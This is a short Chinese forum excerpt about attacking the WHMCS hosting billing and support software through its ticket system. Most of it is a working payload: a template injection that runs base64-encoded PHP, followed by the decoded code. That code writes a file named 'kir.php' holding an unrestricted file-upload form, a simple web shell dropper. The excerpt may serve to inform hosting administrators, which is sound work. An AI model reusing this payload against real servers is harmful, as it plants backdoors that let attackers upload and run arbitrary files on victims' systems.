注：资料摘自一主机交流论坛
ticket：工单
whmcs：是一套专为主机业务及其他在线交易开发的客户管理，财务，支持软件.

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7DQokZm8gPSBmb3Blbigia2lyLnBocCIsInciKTsNCmZ3cml0ZSgkZm8sJGNvZGUpOw=='));{/php}
base64解密后：
$code = <?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>
$fo = fopen("kir.php","w");
fwrite($fo,$code);